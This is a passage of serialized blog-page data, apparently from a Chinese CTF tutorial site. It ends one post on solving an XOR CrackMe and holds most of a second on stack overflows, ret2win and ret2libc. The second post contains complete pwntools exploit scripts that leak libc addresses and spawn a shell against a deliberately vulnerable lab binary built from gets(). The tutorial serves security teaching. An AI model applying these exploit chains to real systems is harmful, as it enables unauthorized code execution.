找到的密钥\n",[29,8511,8512],{"class":31,"line":163},[29,8513,741],{"emptyLinePlaceholder":740},[29,8515,8516],{"class":31,"line":169},[29,8517,8518],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[29,8520,8521],{"class":31,"line":215},[29,8522,8523],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[29,8525,8526],{"class":31,"line":221},[29,8527,8528],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[29,8530,8531],{"class":31,"line":227},[29,8532,8533],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[29,8535,8536],{"class":31,"line":773},[29,8537,8538],{},"# bytes([...])：把整数列表转成字节串。\n",[29,8540,8541],{"class":31,"line":779},[29,8542,2740],{},[29,8544,8545],{"class":31,"line":785},[29,8546,8547],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,8549,1298],{},[19,8551,8553],{"className":82,"code":8552,"language":84,"meta":24,"style":24},"python3 solve.py\n",[26,8554,8555],{"__ignoreMap":24},[29,8556,8557,8559],{"class":31,"line":32},[29,8558,1308],{"class":91},[29,8560,8561],{"class":95}," solve.py\n",[15,8563,1314],{},[19,8565,8567],{"className":8566,"code":2751,"language":300,"meta":24},[298],[26,8568,2751],{"__ignoreMap":24},[15,8570,8571],{},"验证：",[19,8573,8574],{"className":82,"code":2760,"language":84,"meta":24,"style":24},[26,8575,8576],{"__ignoreMap":24},[29,8577,8578,8580],{"class":31,"line":32},[29,8579,2767],{"class":91},[29,8581,2770],{"class":95},[15,8583,1314,8584,127],{},[26,8585,1731],{},[10,8587,8589],{"id":8588},"七必学工具","七、必学工具",[1325,8591,8592,8602],{},[1328,8593,8594],{},[1331,8595,8596,8598,8600],{},[1334,8597,2492],{},[1334,8599,2495],{},[1334,8601,5470],{},[1344,8603,8604,8616,8628,8643,8660],{},[1331,8605,8606,8608,8611],{},[1349,8607,1631],{},[1349,8609,8610],{},"看类型/是否 stripped",[1349,8612,8613],{},[26,8614,8615],{},"file crackme",[1331,8617,8618,8620,8623],{},[1349,8619,1674],{},[1349,8621,8622],{},"提取字符串、指定最小长度",[1349,8624,8625],{},[26,8626,8627],{},"strings -n 3 crackme",[1331,8629,8630,8632,8635],{},[1349,8631,1828],{},[1349,8633,8634],{},"反汇编、看数据段",[1349,8636,8637,1728,8640],{},[26,8638,8639],{},"objdump -d -M intel crackme",[26,8641,8642],{},"objdump -s -j .rodata crackme",[1331,8644,8645,8647,8650],{},[1349,8646,2550],{},[1349,8648,8649],{},"断点、运行、查看内存",[1349,8651,8652,1728,8654,1728,8657],{},[26,8653,2558],{},[26,8655,8656],{},"run xxx",[26,8658,8659],{},"x/24bx addr",[1331,8661,8662,8665,8668],{},[1349,8663,8664],{},"Ghidra",[1349,8666,8667],{},"反编译伪代码",[1349,8669,8670],{},[26,8671,8672],{},"ghidraRun",[10,8674,8676],{"id":8675},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[2235,8678,8679,8686,8697,8703],{},[2238,8680,8681,8683,8684,127],{},[26,8682,8627],{}," → 找到密钥 ",[26,8685,1738],{},[2238,8687,8688,8690,8691,8693,8694,127],{},[26,8689,1828],{},"/Ghidra → 确认 ",[26,8692,2003],{}," 里是 ",[26,8695,8696],{},"input[i] ^ key[i%3] == enc[i]",[2238,8698,8699,8700,127],{},"Python 一行异或还原 → ",[26,8701,8702],{},"ctf{reverse_engineering}",[2238,8704,8705,8706,127],{},"运行验证 → ",[26,8707,1731],{},[10,8709,1454],{"id":1453},[15,8711,8712,8713,8716],{},"XOR CrackMe 的通用解法：",[67,8714,8715],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1463,8718,8719],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":24,"searchDepth":38,"depth":38,"links":8721},[8722,8723,8724,8725,8726,8727,8728,8729,8730],{"id":7795,"depth":111,"text":7796},{"id":7802,"depth":111,"text":7803},{"id":1603,"depth":111,"text":1604},{"id":8144,"depth":111,"text":8145},{"id":2291,"depth":111,"text":2292},{"id":8464,"depth":111,"text":8465},{"id":8588,"depth":111,"text":8589},{"id":8675,"depth":111,"text":8676},{"id":1453,"depth":111,"text":1454},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1480,"image":8733,"alt":8734,"tags":8735,"published":740},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[550,2808,2584,1486],"/blogs/ctf-reverse-crackme-deep-dive",{"title":7790,"description":8731},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":8741,"title":8742,"body":8743,"description":9828,"extension":1478,"meta":9829,"navigation":740,"ogImage":9830,"path":9834,"seo":9835,"stem":9836,"__hash__":9837},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8744,"toc":9815},[8745,8749,8764,8767,8769,8817,8819,8823,8903,8906,8925,8929,8934,8939,8951,8953,8958,8961,9016,9018,9023,9029,9032,9035,9045,9099,9101,9107,9121,9125,9130,9191,9193,9203,9205,9211,9229,9233,9239,9242,9269,9271,9277,9290,9296,9300,9307,9312,9321,9325,9331,9335,9611,9614,9620,9624,9671,9675,9736,9740,9751,9792,9794,9799,9803,9812],[10,8746,8748],{"id":8747},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,8750,8751,1728,8753,1728,8756,8759,8760,8763],{},[26,8752,2827],{},[26,8754,8755],{},"strcpy",[26,8757,8758],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[26,8761,8762],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,8765,8766],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,8768,1562],{"id":1561},[19,8770,8772],{"className":82,"code":8771,"language":84,"meta":24,"style":24},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[26,8773,8774,8784,8796],{"__ignoreMap":24},[29,8775,8776,8778,8780,8782],{"class":31,"line":32},[29,8777,1575],{"class":91},[29,8779,1578],{"class":95},[29,8781,2852],{"class":95},[29,8783,2855],{"class":95},[29,8785,8786,8788,8790,8793],{"class":31,"line":38},[29,8787,2860],{"class":91},[29,8789,1578],{"class":95},[29,8791,8792],{"class":95}," pwntools",[29,8794,8795],{"class":95}," ROPgadget\n",[29,8797,8798,8800,8802,8805,8807,8809,8812,8814],{"class":31,"line":111},[29,8799,92],{"class":91},[29,8801,96],{"class":95},[29,8803,8804],{"class":95}," https://github.com/pwndbg/pwndbg",[29,8806,2227],{"class":1537},[29,8808,105],{"class":104},[29,8810,8811],{"class":95}," pwndbg",[29,8813,2227],{"class":1537},[29,8815,8816],{"class":91},"./setup.sh\n",[10,8818,2869],{"id":2868},[15,8820,8821,178],{},[26,8822,2875],{},[19,8824,8825],{"className":2262,"code":2878,"language":684,"meta":24,"style":24},[26,8826,8827,8831,8835,8839,8843,8847,8851,8855,8859,8863,8867,8871,8875,8879,8883,8887,8891,8895,8899],{"__ignoreMap":24},[29,8828,8829],{"class":31,"line":32},[29,8830,2885],{},[29,8832,8833],{"class":31,"line":38},[29,8834,2890],{},[29,8836,8837],{"class":31,"line":111},[29,8838,741],{"emptyLinePlaceholder":740},[29,8840,8841],{"class":31,"line":157},[29,8842,2899],{},[29,8844,8845],{"class":31,"line":163},[29,8846,2904],{},[29,8848,8849],{"class":31,"line":169},[29,8850,224],{},[29,8852,8853],{"class":31,"line":215},[29,8854,741],{"emptyLinePlaceholder":740},[29,8856,8857],{"class":31,"line":221},[29,8858,2917],{},[29,8860,8861],{"class":31,"line":227},[29,8862,2922],{},[29,8864,8865],{"class":31,"line":773},[29,8866,2927],{},[29,8868,8869],{"class":31,"line":779},[29,8870,224],{},[29,8872,8873],{"class":31,"line":785},[29,8874,741],{"emptyLinePlaceholder":740},[29,8876,8877],{"class":31,"line":791},[29,8878,2940],{},[29,8880,8881],{"class":31,"line":797},[29,8882,2945],{},[29,8884,8885],{"class":31,"line":803},[29,8886,2950],{},[29,8888,8889],{"class":31,"line":809},[29,8890,2955],{},[29,8892,8893],{"class":31,"line":815},[29,8894,2960],{},[29,8896,8897],{"class":31,"line":821},[29,8898,2965],{},[29,8900,8901],{"class":31,"line":827},[29,8902,224],{},[15,8904,8905],{},"编译：",[19,8907,8909],{"className":82,"code":8908,"language":84,"meta":24,"style":24},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[26,8910,8911],{"__ignoreMap":24},[29,8912,8913,8915,8917,8919,8921,8923],{"class":31,"line":32},[29,8914,2982],{"class":91},[29,8916,2985],{"class":116},[29,8918,2988],{"class":95},[29,8920,2991],{"class":95},[29,8922,2994],{"class":116},[29,8924,2997],{"class":116},[10,8926,8928],{"id":8927},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,8930,8931,8933],{},[67,8932,251],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,8935,8936,8938],{},[67,8937,261],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[19,8940,8941],{"className":82,"code":3027,"language":84,"meta":24,"style":24},[26,8942,8943],{"__ignoreMap":24},[29,8944,8945,8947,8949],{"class":31,"line":32},[29,8946,3034],{"class":91},[29,8948,3037],{"class":95},[29,8950,3040],{"class":95},[15,8952,294],{},[19,8954,8956],{"className":8955,"code":3046,"language":300,"meta":24},[298],[26,8957,3046],{"__ignoreMap":24},[15,8959,8960],{},"逐行含义：",[1325,8962,8963,8971],{},[1328,8964,8965],{},[1331,8966,8967,8969],{},[1334,8968,1339],{},[1334,8970,1955],{},[1344,8972,8973,8983,8993,9006],{},[1331,8974,8975,8980],{},[1349,8976,8977],{},[26,8978,8979],{},"No canary found",[1349,8981,8982],{},"无栈金丝雀，可覆盖返回地址",[1331,8984,8985,8990],{},[1349,8986,8987],{},[26,8988,8989],{},"NX enabled",[1349,8991,8992],{},"栈不可执行，不能直接放 shellcode",[1331,8994,8995,9000],{},[1349,8996,8997],{},[26,8998,8999],{},"No PIE",[1349,9001,9002,9003,9005],{},"程序地址固定，",[26,9004,3108],{}," 地址可直接写死",[1331,9007,9008,9013],{},[1349,9009,9010],{},[26,9011,9012],{},"Partial RELRO",[1349,9014,9015],{},"GOT 可写（本阶段用不到）",[10,9017,3113],{"id":3112},[15,9019,9020,9022],{},[26,9021,3118],{}," 栈帧自低到高：",[19,9024,9027],{"className":9025,"code":9026,"language":300,"meta":24},[298],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[26,9028,9026],{"__ignoreMap":24},[15,9030,9031],{},"偏移 = 32 + 8 = 40。",[15,9033,9034],{},"用 pwntools 验证：",[15,9036,9037,178,9039,9041,9042,9044],{},[67,9038,261],{},[26,9040,3131],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[26,9043,3489],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[19,9046,9048],{"className":721,"code":9047,"language":723,"meta":24,"style":24},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[26,9049,9050,9054,9058,9062,9066,9071,9075,9080,9084,9089,9094],{"__ignoreMap":24},[29,9051,9052],{"class":31,"line":32},[29,9053,3142],{},[29,9055,9056],{"class":31,"line":38},[29,9057,741],{"emptyLinePlaceholder":740},[29,9059,9060],{"class":31,"line":111},[29,9061,3151],{},[29,9063,9064],{"class":31,"line":157},[29,9065,3156],{},[29,9067,9068],{"class":31,"line":163},[29,9069,9070],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[29,9072,9073],{"class":31,"line":169},[29,9074,3171],{},[29,9076,9077],{"class":31,"line":215},[29,9078,9079],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[29,9081,9082],{"class":31,"line":221},[29,9083,3181],{},[29,9085,9086],{"class":31,"line":227},[29,9087,9088],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[29,9090,9091],{"class":31,"line":773},[29,9092,9093],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[29,9095,9096],{"class":31,"line":779},[29,9097,9098],{},"print(\"offset =\", offset)\n",[15,9100,294],{},[19,9102,9105],{"className":9103,"code":9104,"language":300,"meta":24},[298],"offset = 40\n",[26,9106,9104],{"__ignoreMap":24},[15,9108,9109,9110,9113,9114,9117,9118,9120],{},"原理：",[26,9111,9112],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[26,9115,9116],{},"rip"," 的值必然是模式串中的 4/8 字节，",[26,9119,3489],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,9122,9124],{"id":9123},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,9126,9127,9129],{},[67,9128,251],{},"：把返回地址改成 win，验证控制流劫持成功。",[19,9131,9133],{"className":721,"code":9132,"language":723,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[26,9134,9135,9139,9143,9147,9151,9155,9159,9164,9168,9173,9178,9182,9186],{"__ignoreMap":24},[29,9136,9137],{"class":31,"line":32},[29,9138,3142],{},[29,9140,9141],{"class":31,"line":38},[29,9142,741],{"emptyLinePlaceholder":740},[29,9144,9145],{"class":31,"line":111},[29,9146,3232],{},[29,9148,9149],{"class":31,"line":157},[29,9150,3151],{},[29,9152,9153],{"class":31,"line":163},[29,9154,741],{"emptyLinePlaceholder":740},[29,9156,9157],{"class":31,"line":169},[29,9158,3394],{},[29,9160,9161],{"class":31,"line":215},[29,9162,9163],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[29,9165,9166],{"class":31,"line":221},[29,9167,3409],{},[29,9169,9170],{"class":31,"line":227},[29,9171,9172],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[29,9174,9175],{"class":31,"line":773},[29,9176,9177],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[29,9179,9180],{"class":31,"line":779},[29,9181,3335],{},[29,9183,9184],{"class":31,"line":785},[29,9185,3423],{},[29,9187,9188],{"class":31,"line":791},[29,9189,9190],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,9192,1298],{},[19,9194,9195],{"className":82,"code":3550,"language":84,"meta":24,"style":24},[26,9196,9197],{"__ignoreMap":24},[29,9198,9199,9201],{"class":31,"line":32},[29,9200,1308],{"class":91},[29,9202,3559],{"class":95},[15,9204,3436],{},[19,9206,9209],{"className":9207,"code":9208,"language":300,"meta":24},[298],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[26,9210,9208],{"__ignoreMap":24},[15,9212,9213,9214,9216,9217,3728,9219,2426,9221,9223,9224,3728,9226,9228],{},"执行过程：",[26,9215,2827],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[26,9218,3108],{},[26,9220,3118],{},[26,9222,8762],{}," 跳到 ",[26,9225,3108],{},[26,9227,3452],{}," 弹 shell。",[10,9230,9232],{"id":9231},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,9234,9235,9236,9238],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[26,9237,8762],{}," 结尾的指令片段（gadget）串起来执行。",[15,9240,9241],{},"找 gadget：",[19,9243,9245],{"className":82,"code":9244,"language":84,"meta":24,"style":24},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[26,9246,9247],{"__ignoreMap":24},[29,9248,9249,9252,9255,9258,9260,9262,9264,9267],{"class":31,"line":32},[29,9250,9251],{"class":91},"ROPgadget",[29,9253,9254],{"class":116}," --binary",[29,9256,9257],{"class":95}," ./vuln",[29,9259,1863],{"class":1530},[29,9261,1866],{"class":91},[29,9263,285],{"class":284},[29,9265,9266],{"class":95},"pop rdi",[29,9268,291],{"class":284},[15,9270,294],{},[19,9272,9275],{"className":9273,"code":9274,"language":300,"meta":24},[298],"0x0000000000401233 : pop rdi ; ret\n",[26,9276,9274],{"__ignoreMap":24},[15,9278,9279,9282,9283,9286,9287,9289],{},[26,9280,9281],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[26,9284,9285],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[26,9288,8762],{}," 跳到下个地址。栈上布局：",[19,9291,9294],{"className":9292,"code":9293,"language":300,"meta":24},[298],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[26,9295,9293],{"__ignoreMap":24},[10,9297,9299],{"id":9298},"八进阶ret2libc","八、进阶：ret2libc",[15,9301,9302,9304,9305,127],{},[67,9303,251],{},"：程序内没有目标函数时，改调 libc 的 ",[26,9306,3452],{},[15,9308,9309,9311],{},[67,9310,261],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,9313,9314,9315,9317,9318,9320],{},"程序里没有 ",[26,9316,3108],{}," 时，改调 libc 里的 ",[26,9319,3452],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[76,9322,9324],{"id":9323},"_81-原理","8.1 原理",[19,9326,9329],{"className":9327,"code":9328,"language":300,"meta":24},[298],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[26,9330,9328],{"__ignoreMap":24},[76,9332,9334],{"id":9333},"_82-完整脚本","8.2 完整脚本",[19,9336,9338],{"className":721,"code":9337,"language":723,"meta":24,"style":24},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[26,9339,9340,9344,9348,9353,9358,9362,9366,9371,9376,9380,9384,9388,9393,9398,9402,9407,9412,9417,9422,9427,9432,9437,9442,9447,9452,9457,9461,9465,9470,9474,9479,9484,9489,9494,9499,9503,9508,9513,9518,9524,9530,9535,9541,9547,9553,9559,9565,9571,9577,9583,9589,9594,9600,9606],{"__ignoreMap":24},[29,9341,9342],{"class":31,"line":32},[29,9343,3142],{},[29,9345,9346],{"class":31,"line":38},[29,9347,741],{"emptyLinePlaceholder":740},[29,9349,9350],{"class":31,"line":111},[29,9351,9352],{},"context.log_level = 'error'\n",[29,9354,9355],{"class":31,"line":157},[29,9356,9357],{},"# 只显示错误，减少调试信息刷屏。\n",[29,9359,9360],{"class":31,"line":163},[29,9361,741],{"emptyLinePlaceholder":740},[29,9363,9364],{"class":31,"line":169},[29,9365,3232],{},[29,9367,9368],{"class":31,"line":215},[29,9369,9370],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[29,9372,9373],{"class":31,"line":221},[29,9374,9375],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[29,9377,9378],{"class":31,"line":227},[29,9379,3151],{},[29,9381,9382],{"class":31,"line":773},[29,9383,741],{"emptyLinePlaceholder":740},[29,9385,9386],{"class":31,"line":779},[29,9387,9104],{},[29,9389,9390],{"class":31,"line":785},[29,9391,9392],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[29,9394,9395],{"class":31,"line":791},[29,9396,9397],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[29,9399,9400],{"class":31,"line":797},[29,9401,741],{"emptyLinePlaceholder":740},[29,9403,9404],{"class":31,"line":803},[29,9405,9406],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[29,9408,9409],{"class":31,"line":809},[29,9410,9411],{},"payload1 = b'A' * offset\n",[29,9413,9414],{"class":31,"line":815},[29,9415,9416],{},"payload1 += p64(ret)\n",[29,9418,9419],{"class":31,"line":821},[29,9420,9421],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[29,9423,9424],{"class":31,"line":827},[29,9425,9426],{},"payload1 += p64(pop_rdi)\n",[29,9428,9429],{"class":31,"line":833},[29,9430,9431],{},"payload1 += p64(elf.got['puts'])\n",[29,9433,9434],{"class":31,"line":839},[29,9435,9436],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[29,9438,9439],{"class":31,"line":845},[29,9440,9441],{},"payload1 += p64(elf.plt['puts'])\n",[29,9443,9444],{"class":31,"line":851},[29,9445,9446],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[29,9448,9449],{"class":31,"line":857},[29,9450,9451],{},"payload1 += p64(elf.symbols['main'])\n",[29,9453,9454],{"class":31,"line":863},[29,9455,9456],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[29,9458,9459],{"class":31,"line":869},[29,9460,741],{"emptyLinePlaceholder":740},[29,9462,9463],{"class":31,"line":875},[29,9464,3394],{},[29,9466,9467],{"class":31,"line":1256},[29,9468,9469],{},"p.sendline(payload1)\n",[29,9471,9472],{"class":31,"line":1262},[29,9473,741],{"emptyLinePlaceholder":740},[29,9475,9476],{"class":31,"line":1268},[29,9477,9478],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[29,9480,9481],{"class":31,"line":1274},[29,9482,9483],{},"# recvline()：读一行（puts 输出后带换行）。\n",[29,9485,9486],{"class":31,"line":1280},[29,9487,9488],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[29,9490,9491],{"class":31,"line":1286},[29,9492,9493],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[29,9495,9496],{"class":31,"line":1292},[29,9497,9498],{},"print(\"puts:\", hex(leak))\n",[29,9500,9501],{"class":31,"line":5233},[29,9502,741],{"emptyLinePlaceholder":740},[29,9504,9505],{"class":31,"line":5239},[29,9506,9507],{},"libc.address = leak - libc.symbols['puts']\n",[29,9509,9510],{"class":31,"line":5245},[29,9511,9512],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[29,9514,9515],{"class":31,"line":5251},[29,9516,9517],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[29,9519,9521],{"class":31,"line":9520},39,[29,9522,9523],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[29,9525,9527],{"class":31,"line":9526},40,[29,9528,9529],{},"print(\"libc base:\", hex(libc.address))\n",[29,9531,9533],{"class":31,"line":9532},41,[29,9534,741],{"emptyLinePlaceholder":740},[29,9536,9538],{"class":31,"line":9537},42,[29,9539,9540],{},"# 第二阶段：system(\"/bin/sh\")\n",[29,9542,9544],{"class":31,"line":9543},43,[29,9545,9546],{},"payload2 = b'A' * offset\n",[29,9548,9550],{"class":31,"line":9549},44,[29,9551,9552],{},"payload2 += p64(ret)\n",[29,9554,9556],{"class":31,"line":9555},45,[29,9557,9558],{},"payload2 += p64(pop_rdi)\n",[29,9560,9562],{"class":31,"line":9561},46,[29,9563,9564],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[29,9566,9568],{"class":31,"line":9567},47,[29,9569,9570],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[29,9572,9574],{"class":31,"line":9573},48,[29,9575,9576],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[29,9578,9580],{"class":31,"line":9579},49,[29,9581,9582],{},"payload2 += p64(libc.symbols['system'])\n",[29,9584,9586],{"class":31,"line":9585},50,[29,9587,9588],{},"# 调用 system(\"/bin/sh\")。\n",[29,9590,9592],{"class":31,"line":9591},51,[29,9593,741],{"emptyLinePlaceholder":740},[29,9595,9597],{"class":31,"line":9596},52,[29,9598,9599],{},"p.sendlineafter(b'name?', payload2)\n",[29,9601,9603],{"class":31,"line":9602},53,[29,9604,9605],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[29,9607,9609],{"class":31,"line":9608},54,[29,9610,3423],{},[15,9612,9613],{},"运行输出：",[19,9615,9618],{"className":9616,"code":9617,"language":300,"meta":24},[298],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[26,9619,9617],{"__ignoreMap":24},[76,9621,9623],{"id":9622},"_83-三个易错点","8.3 三个易错点",[2235,9625,9626,9646,9661],{},[2238,9627,9628,178,9631,9634,9635,9638,9639,9642,9643,127],{},[67,9629,9630],{},"补零",[26,9632,9633],{},"puts"," 输出的地址以换行结尾，",[26,9636,9637],{},"strip()"," 去掉换行，",[26,9640,9641],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[26,9644,9645],{},"u64",[2238,9647,9648,178,9651,9654,9655,9658,9659,127],{},[67,9649,9650],{},"对齐",[26,9652,9653],{},"system"," 内部使用 ",[26,9656,9657],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[26,9660,8762],{},[2238,9662,9663,9666,9667,9670],{},[67,9664,9665],{},"libc 版本","：远程题目若提供 libc，用 ",[26,9668,9669],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 